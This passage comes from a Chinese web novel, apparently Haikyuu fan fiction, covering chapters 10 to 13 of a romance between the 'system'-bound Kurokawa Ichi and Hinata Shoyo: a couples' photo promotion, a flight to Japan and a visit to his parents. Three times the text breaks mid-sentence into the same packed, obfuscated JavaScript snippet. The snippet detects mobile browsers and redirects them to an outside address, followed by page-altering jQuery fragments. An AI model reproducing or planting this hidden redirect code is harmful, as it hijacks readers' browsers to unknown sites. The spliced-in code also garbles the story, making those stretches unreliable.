已经劝过了,总之只要是黑川爱有需要的话,这些人是劝不动的。
一般到这种程度我就不会再管了。
但是听说朱莉姐每天下班都要赶去接孩子。
剩下的工作量应该能够赶得上吧。
啧。
黑川爱到底什么时候能不给人添麻烦。
我双目放空,慢吞吞地靠着墙,瞅了眼挤满人的电梯,脚步一拐朝一旁的楼梯间走去。
楼梯口出现的黑影让我倏然回过神来,黑川爱坐在楼梯扶手上,身体前倾,沾着灰看起来可怜兮兮的脸还是很漂亮。
我对她过于靠近的脸感到不适。
看了眼身侧的楼道,我抿唇和她拉开距离,这个位置很危险。
“姐姐,你离我这么远干什么?”
我冷漠地看着她:“没什么事的话,我先走了。”
黑川爱看着她冷漠苍白的脸,这种人永远帮不上父亲和母亲,就应该永远躲在肮脏的角落里,永远被她踩在脚下。
但是现在好像事情有点脱出控制了。
她涂着淡粉色指甲油的手指不自觉抽动,跳下栏杆朝她名义上的姐姐靠近,飞快地伸手捏住了黑川一瘦削的下巴抬起。
黑川爱吹开她面上遮挡眼睛的刘海,直视那双冷漠的钴蓝色瞳孔。
明明是被放弃的那一个,却总是一副不把人放在眼里的模样,还真是让人讨厌。
不过一想到这家伙总是在背后一个人偷偷哭,黑川爱就原谅她了。
“你不要耽误我的事,现在没时间对付你,最好乖乖的,像以前那样。”
我甩开她的手,视线在她逐渐爬上血丝的眼睛上微顿。
“以前?如果你完成任务的方式是等待我的施舍的话,你可以试试继续等。”
“这一次和以前不一样。”
日向君也和以前那些人不一样。
我退开一步,看着黑川爱,扯了扯嘴角:“你也感觉到了吧。”
我撇开她重新走出楼道,白白耽误这么长时间,电梯正好也空出来了。
那家伙身上怎么这么脏,有点不像是在专门等我……
一道熟悉的身影站在不远处,健康色泽的脸咧开灿烂的笑意,朝她招手。
“黑川桑,这里!”
我不自觉加快脚步,小跑到他面前,有点骤然被人从暗处拉到阳光下的如释重负。
来到近处才放缓了脚步。
“不是说在楼下餐厅汇合吗?怎么上来了。”
日向翔阳也不知道自己为什么要上来,顿了一下,视线从黑川一刚才出来的楼梯间划过。
脸上的笑容毫无阴霾。
他朝她晃了晃手机:“因为黑川桑没有接我电话,所有忍不住想要上来看看。”
“嗯?”
我下意识掏出手机,果然被我习惯性调成静音的手机上看到两个未接来电,有点不好意思的打开音量。
“抱歉,以前也没什么人需要联系,所以……”
说着又觉得有点不对劲。
“啊,我不是找借口,也不是想要趁机装可怜什么的,就是还没习惯,我下次一定不会错过日向君的电话的!”
说完我看着突然陷入沉默的日向君,后知后觉的有点尴尬。
这说的什么话,怎么那么奇怪啊!
好像我特别期待他打电话一样。
我揉捏着背包肩带,同日向君一起并排站在一起等电梯,时不时用余光看他一眼。
“叮。”
“没有责怪黑川桑的意思。”
一双带着暖意和橘子味道的手搭在我的肩膀上,把我推进电梯,他也跟跟进来按下楼层。
总是让我疑惑为什么日向君总是能元气满满的语调,似乎下压了一个度,在电梯小巧的密闭空间里给人一种格外温柔的错觉。
“但是黑川桑答应会记得接我电话这一点,我很开心。”
我脑子里还在回忆着被删掉的攻略贴,正从电梯的倒影里偷偷看我们之间的距离,唔,手背,手背好近。
是不是要碰上了?
如果假装碰上日向君会躲开吗?
最近有经常跟日向君分享我的过去,虽然不全都是美好的回忆。
不如说大部分都不怎么美好。
应该关系也算是有进一步吧。
可惜现在查询不了攻略进度。
如果等会儿假装不经意不小心碰上去,日向君又不拒绝的话……
“说起来黑川桑还真是像我的妹妹一样呢,她也喜欢这样毛绒绒的背包,快要到她的生日了,这个的链接可以给我一个吗?”
诶。
等等,妹妹!?
我试探性靠过去的手,在触碰到温热的手背的瞬间像是被烫到一样缩了回来,脑海里浮现两个大字。
完蛋。
明明想要近水楼台先得月,下意识觉得日向君很可靠,不自觉吐露很多懦弱的心声什么的……
难道就这样被当成了需要照顾的妹妹那样的角色了吗!
我的内心在地震,表面上仍然瘫着脸,瞳孔地震的打开手机把链接发了过去。
“啊,对了,这个一团已经截止了,需要等过段时间的余量掉落哦。”
他没发现我的异样,拦住电梯门让她先出去,闻言有些疑惑:“一团?掉落?”
日向君点开链接,弯着腰把手机页面凑到我面前,肌肉弧度明显且流畅的小臂,隔着一层外套布料贴在我身侧。
传来的热度让我下意识脸颊升温,然后想到这人对我就跟对妹妹一样,某种罪恶感就升了起来。
不清真的想法迅速萎靡。
我声音卡了一下,随后继续无欲无求的念道:“就是一种小圈子的消费模式,这个毛绒鲨鱼包是团主买下的使用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279047|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
权,统计购买人数达标后制作发出的。”
“所以一般数量有限,但一般都会有多出来的,再等几天看看好了。”
我拿过他的手机关注了团主的社交账号。
“掉落开售会发通知的。”
“总之就是这样,你看看吧。”
日向翔阳接过的手机看了一会儿团主充满萌物的主页,然后将若有所思的视线落在我身上。
“唔。”
我们在格外热闹的店内坐下,打开菜单点了一些我和他都能吃的肉和蔬菜。
我把菜单递给他:“日向君也看看还需要加点什么吧?”
橘发青年拖着下巴继续望着我。
如果是在十分钟之前,我说不定已经开始胡思乱想,但现在我只是个妹妹(咬牙)。
我拿着菜单,伸出一根手指戳了戳他的脸,无情的提醒:“请不要在这个时候发呆。”
手下的触感格外q弹紧实。
不愧是运动员。
他不好意思的接过菜单,低头勾选:“才不是发呆。”
“嗯哼?”
“因为突然发现黑川桑了解很多我不知道的事情,感觉很厉害。”
这家伙难道说的是团购吃谷吗?
我吸了一口赠送的酸梅汤,眯着眼睛呼出一口凉气:“这算什么厉害,只要想要知道都可以学会的东西。”
“难道不是身为排球运动员的日向君更厉害吗?”
“不。那个时候看着黑川桑侃侃而谈的侧脸,”他单手按在胸口:“总觉得很开心。”
我吃肉的动作卡了一下,又开始继续嚼嚼嚼。
冷静。
我是妹妹。
我算是明白了。
这家伙大概完全没有恋爱那根筋。
第一次觉得日向君好像也不是那么好了,岂可修。
“两位,打扰了。”
穿着店员制服的女生来到桌边,像我们展示手里的牌子:“本店新店开业,第一百对情侣可以参加打卡活动,有机会抽到霓虹三日游哦。”
我眨了眨眼,特等奖完全不吸引人的说。
等等?
日向翔阳耐心的等待她说完:“抱歉,我们不是……”
“谢谢,我们参加!”
我铿锵有力的打断了他的话,目光灼灼的看着展板上的三等奖——咒O限定联名吧唧、水杯一份。
谁说这的奖品不好了,这三等奖太棒了!
我站了起来,抓着日向君的袖口,声音小而有力:“我们做!”
女生表情茫然了一下,然后才笑吟吟双目放光从怀里拿出两个发箍递给我。
“带着指定发饰拍照,发到动态宣传本店,可以获得抽奖机会哦~”
那是两个毛绒绒的猫耳朵发箍,一个橘色一个黑色,我狐疑的看了眼笑吟吟的店员,总觉得早有预谋但没证据。
难道说她是日向君的粉丝?
猫耳发箍这种东西对资深死宅的我就是小儿科,我镇定的戴上黑色的那个,拿着剩下的看向对面。
橘发青年身上还穿着队服外套,气质格外清爽,打沙滩排球而晒成蜜色的皮肤打破了他身上残留的少年气,增添了属于成年人的涩气。
他平静的眼神落在我身上。
让我捏着发箍的手紧了紧,刚才好像忘记问他的意见了。
糟糕。
而且就算贸然请求日向君帮忙,也只是有机会得到想要的奖品而已,我的手又往回缩了点。
要不就算了吧。
“黑川桑,请坐过来一点。”
11. 第 11 章
知道了。
我有点尴尬。
我看向服务生小姐,想和她道歉表示放弃打卡抽奖的机会。
说来也是。
我和日向君实际上也并不是情侣来着。
“黑川桑?”
日向翔阳的声音有点远,我和服务生小姐对话被他的声音打断。
被沮丧填满的脑袋花了点时间处理他的声音。
“隔得有点远……如果想要让我戴上的话,唔,这样怎么样?”
诶?
刚刚的是什么?
发顶落下一只手,温柔的力道带着我的脑袋转动,直到看到跨越了大半个桌面,送到面前的橘色脑袋。
我呆愣的瞳孔被近在眼前的耀眼色泽晃了一下,收缩了一下,下意识抬起脑袋。
橘色的脑袋也跟随我的动作移动。
柔软的唇角蓦然擦过另一片同样柔软的地方,我下意识舔了舔痒痒的唇角,倏然品尝到一点清新的薄荷味。
我视线下意识落在桌对面餐盘旁的淡绿色酱汁上,薄荷酱的味道原来是这样。
“黑川桑。”
日向翔阳的声音在极近的地方响起,说话带起的暖流划过耳廓,一丝丝麻痒顺着耳根窜过对通红的脖颈,传遍全身顺便让我的脑袋“嗡”了一下。
我摸着手臂上的鸡皮疙瘩,梗着脖子有点不想转过去。
刚刚那是!什!么!
从喉咙里挤出一丝回应。
“嗯?”
他听见少女带着一丝颤意的尾音,眼尾也不自觉跟着上扬,倒映着羞涩笑意的眼睛落在她微颤的唇角。
他知道黑川刚才喝过甜饮料,淡色的唇染上了一层丰润的光泽,是比平日更加健康的淡粉色。
很软。
像是春天落在脸上的樱花。
一闪而逝。
他有些遗憾的稍微直起身,拉开一点距离:“是我离得太近了吗?”
我迟缓的大脑缓慢翻译,过了会下意识给出答案。
“嗯。“
他眼神一暗,闪过一丝失落,接过发箍给自己带上:“我会注意一点……”
“离得这么近我有点喘不过气,可能是餐厅人太多了,空气有点稀薄。”
我捂着胸口继续道。
我看着日向君脸色好像有点奇怪,蜜色的脸颊……好像变得更深了?
他带着和短发融为一体的橘色猫耳,眼睛重新亮晶晶的看着我,我按住自己蠢蠢欲动手。
住手啊,日向君不是真的狗!
“啊,是这样吗?”
他歪头思考了一会儿,随后起身直接走到我身边坐下,在服务生小姐越来越亮的眼神中,摸了摸我的额头。
“感觉还好吗?”
他可能有点担心。
我有点尴尬的转移话题:“嗯,我没事。”
余光看到他的手已经抬高到半空,最终落点大概在我的脑袋上,但又隐约有点下落的趋势。
我瞧瞧把脑袋朝那边歪了歪,企图引起他的注意。
上好的、昨天才洗过的、散发着橘子清香的柔顺发顶,真的不摸一下吗?
日向君似乎在得到我回答之后,就放弃了摸摸脑袋的想法,他的手顺势轻轻落在我肩膀上,看向已经等了一会儿的服务生小姐。
“抱歉久等了,这样可以吗?”
他扣着我的肩膀,缩短了我们之间的距离,我的肩膀不可抗力的抵上他的一侧胸膛,软中带硬的触感让我不自在地垂下眼帘。
“没事没事,这是我的职责!”
她摆摆手,看着我们的视线似乎有点兴奋:“麻烦能再靠近一点吗?这个角度男士的下巴正好可以放在女生的发顶上呢。”
我脑袋一重,日向君带着笑意的声音从头顶传来,我的发顶似乎也跟着声音一同共振,这样几乎被环进怀中的姿势让我微妙的升起了一股久违的安全感。
“就是这样!”
服务生小姐嘴角不受控制的提起,拿起拍立得变换方向给我们拍了三张。
我看见不远处的老板脸色有点黑,大概是耽误太长时间了。
有点不自在的缩了缩脖子。
我抓着日向君的袖口,微微侧头挡住被引来的大部分视线,声线带着不自然的催促:“好了吗?”
“好了哟。”
她将其中两张递给我们:“拍照发到社交软件就可以了哦,还有一张我们会存放在店内的照片墙上哦。”
我茫然的顺着她的指引看过去。
照片墙设立在进店最显眼的地方。
!
“我要不还是算了吧。”
我一脸正色。
“接下来请转动转盘抽奖吧~”
服务生小姐拿着展板上吸引我的部分,在我面前晃了晃。
我咬了咬唇,犹豫了一会儿,艰难的做下决定。
拜托了,我真的很需要这个!
一分钟后,我拿着霓虹三日游的奖券彻底失去了所有力气和手段。
食之无味的吃完午饭,我拉着日向君加快脚步从照片墙路过,逃也似的离开。
这家挂着我照片的烤肉店,已经被我从以后的午餐名单上划掉。
今天中午的记忆我会恭敬地封存进黑历史。
我逐渐加快的脚步被手上加重的力道拉了回来,后背撞进一片带着暖意的胸膛,我下意识看过去。
他朝我露出一个安抚的笑容:“等我一下。”
橘发青年小跑着进了刚才的烤肉店。
我背着手站在墙角,低头看着地面,脚尖擦了擦地面,眼神中是茫然的神色。
然后忽然想到什么,连忙打开系统页面,点击查询好感度,紧张的看着加载中的数据。
【查询成功!目前攻略目标好感度为*%#】
【任务已重新交接,好感度暂时无法查询】
我有点失落,随手关上面板,还是查询不出来,说明现在名正言顺的任务执行者仍然还是黑川爱。
系统是正常的,没有问题。
可是刚才日向君有点奇怪。
不是小世界被病毒入侵造成的未知变化……日向君刚才刻意贴近我,以及若有似无的肢体接触,总觉得有点熟悉。
在哪里见过呢?
“给你这个。”
印着周边柄图的纸袋被一只手放到面前。
日向君微微喘息的声线传来:“刚才有客人抽到了这个,我用旅游券换了。”
我下意识接过纸袋,手指和他温热的手的一触即离,心头又泛起莫名的涟漪。
意想不到的礼物。
那双灿烂的眼睛专注的落在我身上。
刚才跑这么急回去找东西,实际上是为了帮我换这个?
我低声喃喃:“为什么?”
“明明日向君也不喜欢这些吧。”
他在我面前单膝下蹲,那双眼睛穿过遮挡望进我的眼睛。
我才意识到,刚才下意识移开了视线,这是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279048|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧张时下意识逃避的动作。
明明日向君绝对是一片好心。
我就是这样别扭又无法坦诚的性格,因为害怕伤害,就想拒绝所有带着好意的接近。
但是日向君毫无顾忌的,用那双坦诚的眼睛,自下而上的看了过来,冲破了我树立起来的无形拒绝的屏障。
“我没想这么多。”
“虽然不是很了解,但只要黑川桑喜欢就好了吧。”
他这样理所当然的说。
我胸口传出陌生的悸动,怔怔的看了他一会儿,才有些恼:“我问的并不是这个,我当然喜欢了,但是日向君你,根本没有必要为了我再去做这些啊!”
我想要知道些什么。
但也说不大明白自己在期待什么。
说到最后我觉得自己似乎又在仗着日向君的好脾气得寸进尺。
他都已经为了我的喜好,专门分出注意给其他客人,然后专门为我换回了喜欢的东西。
我竟然又在任性的说奇怪的话。
我转过脑袋,胸口起伏了一会儿,冲动和求知欲逐渐散去,愧疚感后知后觉的涌上来。
“……抱歉。”
我吸了口冷气,把所有情绪都强行压下去。
“日向君,我又对你说了奇怪的话,很抱歉,今天先到这里吧,我先回去了。”
“为什么没有必要?”
日向翔阳疑惑的声音让我停住了脚步,他凑过来的时候,身上的热度也跟着穿了过来,像太阳一样稍微驱散了心头的阴鸷。
他想要看我的表情,跟着我走动的同时,弯腰凑过来。
健气俊朗的眉眼有些无措。
“我想要黑川桑高兴,所以就做了。”
想要我高兴?
咔嚓。
硬物摩擦切割铁丝的声音突兀响起。
我拽着背包的手背收紧,指节透出漂亮的粉色,是被用力挤压出的颜色。
我继续向前走了几步。
日向翔阳:“那黑川桑高兴吗?”
我扭过头,挡开他不着痕迹凑过来的脑袋,声音压低:“高兴。”
声音很小,被风一吹几乎听不见。
橘发青年依靠直觉紧跟在她身后,话音落下的同时,终于松了口气,眼眸中也漫开笑意。
我看着向上跳动的电梯数字。
电梯在训练场的楼层停下,日向翔阳顺手拍拍身边低着脑袋黑发少女,语气轻快:“我走了,晚上一起回去吧。”
”嗯。“
电梯里响起我压低的声线。
在电梯门快关上之前,两道声音撞在了一起。
“我非常高兴,日向君。”
“今天我也很开心,小一。”
电梯继续上升,掩盖了我陡然加快的心跳,无神的盯着电梯里我的倒影,脑子里莫名其妙冒出一个问题。
这种奇怪的感觉,难道是日向君在攻略我吗?
不,不可能吧。
我走出电梯贴着墙朝办公室走去。
这种事情的前提是喜欢,日向君应该不可能是喜欢我,所以说是把我当成很要好的朋友了吗?
我坐在工位上,开始打工。
朱莉:“黑川今天遇到什么好事了吗?感觉和平时有点不一样诶。”
我下意识摸了摸唇角,仍然是平直的弧度,有点疑惑。
连朱莉姐都看出来了吗?
我说:“忽然意识到,交到了一个很好的朋友,很开心。”
12. 第 12 章
今天是我和日向君一同前往霓虹的日子。
被国家队征召啊。
我又想起了日向君在赛场上“飞”起来的模样,心中不免装满了期待,在圣保罗Asas没能看到的正式比赛,现在可以亲眼目睹了吗?
真好啊,身为随队人员的我一定会好好照顾日向君的!
这样在心中立下雄心壮志的我,醒来后抓起闹钟呆滞了一下,一头凌乱的黑发震了震。
诶?
闹钟没有响吗?
现在差不多该出发去机场了!
我掀开被子从床上跳了下来,期间无数散落在床上的可爱趴趴被掀了起来,随着主人套上衣服冲出去的脚步声,“啪叽”一声落在床上。
“日向君——!”
今天不用去队里报道,日向君不会因为我睡过头也起晚了吧?
“唔!”
“日向君,我的闹钟……”
我打开门话音未落就猝不及防撞进了一道充满阳光露水和橘子味道的怀抱,晨练后散发着热意的手按住我的肩膀,没有推开反而眼前的胸膛下移。
带着担忧和淡淡责备的眼神和我对视。
看起来已经起床有一会儿的日向翔阳,在我面前蹲下,惩罚似的按了按我的脑袋。
“走路要小心一点,早餐快好了,先去洗漱。还有闹钟我先帮你关掉了,小一昨天晚上睡得太晚了。”
“放心吧。”
日常的对话让我平静下来。
我捂着发顶,陷入沉思。
日向君是不是越来越喜欢摸我头发了。
“小一,时间快到了哦。”
我回过神匆匆跑进卫生间,刷牙期间特意低头看了看漆黑的发顶,还是一如既往的蓬松。
看起来不会有危机的样子。
我穿上宽松的长裤和修身的体恤,对着镜子拨弄了一下越来越长的头发,满意地套上外套。
走出卫生间之前,视线顿住。
这个是上次联名周边赠送的香水小样?
我拎着印有我推图片的小瓶子看了看:“牛奶和柑橘?”
头顶蓬松的黑发晃了晃。
我喷。
“扣扣。”
“小一?”
我慌乱地看着镜子里散落在发顶的喷雾,连忙用手挥了挥,打开一条缝窜出去又将门关上。
“我在呢。”
糟糕,香水的味道好像有点太明显了,应该不会被发现吧。
日向翔阳多看了她两眼,心虚从没什么表情的小脸透了出来。
在我忍不住想要冲进去重新洗个脑袋,销毁证据的时候,日向君转身离开了。
我扒拉了一下头发,有些庆幸又有些失落地跟上去。
没发现吗?
我把最后一口煎蛋送进嘴里,打开手机又看了一遍今天的行程。
八点的飞机,落地霓虹后,先去队里报到,然后去提前预定好的酒店。
好像漏了点什么?
我戴着口罩推着两个行李箱,看着正在取票的橘发青年,忘了点什么来着?
手里的箱子被青年顺手接了过去。
“我来吧日向君,你在这里等我就行了。”
我连忙起身想拖回行李,抓着他的手按在座位上,叮嘱:“我好歹是跟着日向君出来的唯一的工作人员,还是让我来吧。”
“到了霓虹那边训练肯定很辛苦,日向君还是先养精蓄锐比较好。”
出发之前我查询过资料,也跟朱莉姐探讨过,霓虹排球国家队这次征召的虽然都是很厉害的球员,但对手也同样不简单。
我想要尽我所能的照顾好日向君。
日向君好像有点惊讶,放松之下还是被我按进了座位里。
我连忙拉着两个行李箱去办理托运。
幸运的是今天办理托运的人不是很多,我费劲地把乡里抬起来放上传送带,身后忽然伸出一只手帮忙托了一下。
我松了口气,拿着票据转身,对上一双蕴含笑意的棕色眼眸。
“黑川桑,又见面了。”
我茫然地看了他一会儿,才恍然地想起通讯里多出的人选。
“及川君?”
及川彻对黑川一的印象有点深刻,前段时间路过这边找翔阳聚了一下,结果就遇到了落单的黑川。
当时孤零零一一个人站在人群中的少女,表情实在是太可怜了,他还是没忍住帮了一把。
临走前甚至有点不放心地和她交换了电话。
不过这段时间都没有联系,黑川一应该过得不错。
“没想到在这里也能遇到,要回霓虹吗?”
我点点头,对曾经帮过我的及川彻的没什么戒心:“因为工作上的原因,所以要去霓虹一段时间。”
他想到了黑川单独一个人托起两个行李的样子,眉头不着痕迹皱起:“这次是一个人吗?”
“不,是和朋友一起的,您不用担心我。”
及川彻想到第一次见面的场景,要是换个人遇到那样的黑川,也不可能放下不管吧。
见她这样说反而更担心了。
反正把这么重的行李交给黑川一个人的同事,大概也不是什么好人吧。
及川彻若无其事笑了笑:“既然碰到了,我也和的同时打个招呼再走吧。”
我:“?”
为什么还要和日向君也打个招呼。
我看了及川君一眼,又看了他一眼,在他过分真诚地笑容下败下阵来。
“好吧,及川君和日向君应该会挺有共同话题的。”
两人看起来都是运动系。
及川彻满意地跟在她身后,暗地里撇了撇嘴,他才不会和欺负人的家伙有共同话题。
而且那家伙居然姓日向?
没走多远我就看到那头显眼的橘发,踮起脚朝那边挥了挥手。
“日向君,这里。”
及川彻单手插兜打开了疯狂震动的手机:“喂。”
那头巨大的声音陡然传了出来,我茫然地看了过去。
“及川!你这家伙又去哪了!都说了不要乱跑,你究竟有没有听见啊!”
感觉对面似乎非常生气呢。
我停下了脚步,还没来得及说话,就被及川彻拽到了隐蔽的角落,安静地看他偷偷探出脑袋四处侦查。
及川君……没问题吗?
“要是有急事的话,及川君还是快点去吧,我这边真的没问题的哦。”
为了增加可信度,我把脑袋凑过去在他面前晃了晃,隐约散发着牛奶柑橘气息飘散在我们之间。
“看!”
“这是日向君送我的香水。”
虽然是抽奖周边附带赠送的,不管是周边本身还是香水我都很喜欢。
及川彻从鼻腔发出一声轻哼。
那所谓的日向君真的可靠吗?
他看着黑川带着喜悦而不自知的脸,勉强转过头:“好吧,就相信你这次。”
“我有点急事先走了,到霓虹联系哦。”
我有点生疏地和他约定:“我会记住的。”
“啧,这可不是命令啊,给你交换联系方式就是让你联系我的,算了,到时候我来联系
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279049|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你好了。”
“再见。”
伴随着一阵越来越急促的脚步声,及川彻脸色一变,换了个方向小心翼翼地跑了出去。
我默默地看着一名穿着西装的黑发男性从我身边冲了过去,飞起一脚精准地踹在偷偷摸摸跑路的及川君身上。
嘶。
应该没怎么用力。
踹的是屁股。
太好了,没有受伤。
确认了这一点之后,我转身离开,刚踏出角落就被人抓住身后的帽子。
“小一,你怎么在这里?”
橘发青年的声音还带有抑制不住的喘息,我头皮紧了紧,好像有点明白刚才及川君的行为了。
有点愧疚。
但是更担心日向君会生气。
我低下头,想要认错,脸颊就被捧着抬了起来,日向君微沉的脸印入眼帘。
咦?
我双眸睁大,伸手擦了擦他额头上星星点点的汗珠:“刚才日向君跑动了吗?”
“我是不是给你带来麻烦了,抱歉。”
日向翔阳差点被她捧着脸还坚持给自己擦汗的样子逗笑,努力压下笑意。
他握住那只动来动去的手,干脆牵着她往候机室走的。
“小一不是麻烦,但是答应我不要忽然消失不见可以吗?我会担心。”
我弯了弯唇,低着脑袋不让他看见。
这就是和日向君成为的好朋友之后的待遇吗?
总感觉还是很开心。
“好哦,不会再的忽然消失了。”
及川彻的事情我想了想,还是没有和日向君说,毕竟被当成坏人不是什么愉悦的事情。
下飞机后,我独自领取行礼的提议被一票否决,只好全程跟在他身后转圈。
被握住的那只手稍微加了点力气。
“车来了,小一,爸妈让我们先回家,晚点再去队里报道。”
我僵住。
想起来了,日向君的父母都在霓虹来着,虽然领证的时候见过一面,是一对很温和的人。
我还是感到一阵窒息的紧张,几乎同手同脚的被塞进车里,还试图挣扎:“还有很多工作要提前了解,要不然我还是先去队里报道吧。”
“日向君你回去就好了。”
我说的也不算错,身为理疗师我需要接交了解的工作也不少。
上次只是短短见了一面,根本看不出来什么。
我深知自己并不是讨家长喜欢的类型,对和日向君的父母见面的更加恐惧。
我扯了扯脸上的口罩,又理了理过长的额发,几乎坐立不安的看着外面飞快掠过的车流,喉咙里像是塞进了一块棉花。
有点痛,张口也不知道该怎么说。
万一……他们不喜欢我的话,日向君一定会收到影响。
比起父母,我的重量根本就无关紧要。
这一刻我想到的竟然不是任务失败,而是日向君他会不会让我离开。
身边的日向君也安静下来,马上见到父母的喜悦让他分散了注意,没有看出我的不安。
我看着外面嬉笑着经过的少女,瞳孔有些无神,毒药一般不断缠绕着我的自卑和敏感将我淹没。
实际上直接放弃是最容易解决的办法。
我紧扣掌心,扭头看向橘发青年,却怎么也无法说出放弃的话。
“请停一下。”
我听见自己不太有底气的声音在安静的车厢内响起,日向君漂亮的眼睛也看了过来。
他似乎发现了什么,表情有点担心。
“不舒服吗,小一。”
13. 第 13 章
从格外热情的店铺走出来,身上的香水味变成了店内清晰的洗发水味道。
我有点不自在地拨弄了一下刘海,有点不好意思地看向走在身侧的日向君。
“这样……会不会很奇怪?”
他手里拎着店员推荐而买下的护发精油,夜色下的侧脸似乎带着笑意,闻言转过头来。
唇角的笑意更加清晰地印入我的眼中。
夏夜的霓虹伴随着笑闹着暖风吹拂在我们身上,我眨了眨眼,从他的眼中看见了我自己。
是从进入路人系统工作后,再也没有见过的模样,长度过长几乎将眼睛全部遮住的齐刘海现在乖巧地落在眼皮上方。
露出了窄窄的双眼皮,以及格外暗沉的钴蓝色眼瞳。
总是被人拿来与黑川爱所比较的眼睛颜色,曾经是我最不想展露的部分。
陌生人不经意地、带着可惜和比较的谈论,更让我深恶痛绝。
根本就不了解我和黑川爱的这些人,是依靠什么才会说出那些看似可惜,实则暗含嘲讽的比较呢?
大概是自觉比起我这种被抛弃的家伙,他们更加高高在上吧。
成年后我从没有期待过的、关于他人的看法,想要听日向君说说看。
我双手插兜,习惯性戴上兜帽,挡住大部分人的视线,注视着身侧。
心中不自觉升起期待。
听了她的话,日向翔阳也就转头认真地观察了一会儿。
随着格外认真的视线落在脸上,我屏住呼吸,心跳也跟着快了几分。
日向翔阳的视线从她苍白的面容一点点滑落,落在那双紧抿的唇上,眼眸不自觉加深。
说实话他们第一次见面的时候,他对小一的印象不是特别好。
身穿暗色系的瘦弱少女,身材过于单薄苍白,过长的额发让她看起来多了几分拒人于千里之外的阴沉。
看起来是一个不太好相处的人。
他偶然冲动中生出结婚的念头,本就在说出后就开始消减,在见到小一之后就正式被推翻。
小一给人的第一印象是一只浑身竖满了尖刺的瓷器。
他不能和她玩这种协议结婚的把戏,在心惊胆战地计算着可能对她的伤害后,心中就有了决定。
小一果然很失望,脸上出现的那种慌乱和被再次被抛弃的表情,让他不自觉心生内疚。
果然在放心不下跟着人回家之后,发现了差点“结束生命”的小一,发现只是误会之后,他也未曾放松。
也许这次只是误会,但小一把玩那把短刀时若有所思的表情实在是令人不安。
那是对生命的漠视。
诚如小一曾说过的“从未想过放弃生命。”
但如果有需要放弃生命的理由,他甚至直觉认为,小一说不定就会立即放弃。
这种能活着就活着,不能活死了也行的感觉,让他隐隐不安,照顾她、关心她、陪伴她,想要纠正她的想法。
却在这点滴的日常当中逐渐沦陷。
他注视着黑川一不自觉紧张的面容,心尖似乎被什么东西挠了挠,痒痒的,让他有点想笑。
又有什么从胸口涌出,想要好好和她交流。
对着那双眼睛,怎么看都很可爱。
怎么可能不可爱。
他笑了起来,露出了一点牙齿,透露出一股少年人的爽朗。
“很好看啊新发型,很适合小一。”
不自觉屏住的呼吸在得到答案后,陡然通畅,我不着痕迹吸了口气,就算知道是日向君礼貌性的夸奖还是让我有点开心。
我们对视一眼继续并肩往日向君的家中走。
在夜色中行色匆匆的归家之人与我们擦肩而过,我们之间的距离也越来越近,直到我的肩膀碰上另一片带着暖意的体温。
我不着痕迹靠近的动作僵住,想要再往右边点分开,又觉得有点刻意,只好维持着这个亲密的姿势走了一会儿。
好在日向君似乎没有注意。
曾经来过一次的一户建很快出现在视野中,我暗暗深吸了几口夏夜的凉气,给自己鼓劲。
没事的,黑川一!
你已经是一个成熟的社畜了,要学会独自面对各种场合!
我们肩并着肩站在门前,我颤颤巍巍的伸出手指按向门铃,深了两个色号的手忽然包住我的手指。
然后连带着整个发颤的手掌都被扣了进去。
有力的手指分开我的手掌,我有点抗拒地蜷着手,心中不安。
万一被发现我掌心出汗了怎么办?
蹭到日向君手上的话,是不是不太好。
我僵硬的和他坚持了一会儿,耳边忽然传来衣料摩擦的声音,似乎是身侧的人弯下腰凑到耳边。
“听话,松一点。”
站在日向君家门口被这样亲昵的靠近,我心跳的飞快,手指失去了控制微微松开。
那只温热干燥的手穿过我的手掌与我十指相扣。
并不是想象中简短的安慰,而是更加暧昧的,亲昵的窃窃私语。
温热的气息喷洒在我的耳侧。
还算是凉爽的夏夜,我额角硬生生落下一小滴汗珠。
“小一,我忽然想起一件事。”
我声音有点紧绷,声音也跟着压低,心中还有些不安,我们就这样站在家门口也不按门铃,落在别人眼里会不会很奇怪。
如果日向君的爸爸妈妈发现的话……
“什么事?”
我几乎迫不及待想要结束这段对话,分开这个过于亲昵的姿势,按响门铃。
日向翔阳扣着她的手拉了拉,这种几乎是撒娇的动作,让我下意识抬起低垂着的脑袋看向他。
黑夜中日向君橘色的眼睛像是燃着两盏灯火,很亮。
也让我更加紧张。
我垂下眼眸阻断对视,站在身前的人却半蹲下来和我四目相对,我听见日向君的声音。
“刚才小一问我新发型怎么样,我还有话没说完。”
站在一户建门前向里面凹进去的一小块空间,我们随时会被周围的邻居或是行人,更甚者是屋内的父母发现。
日向君却还没有松手的打算。
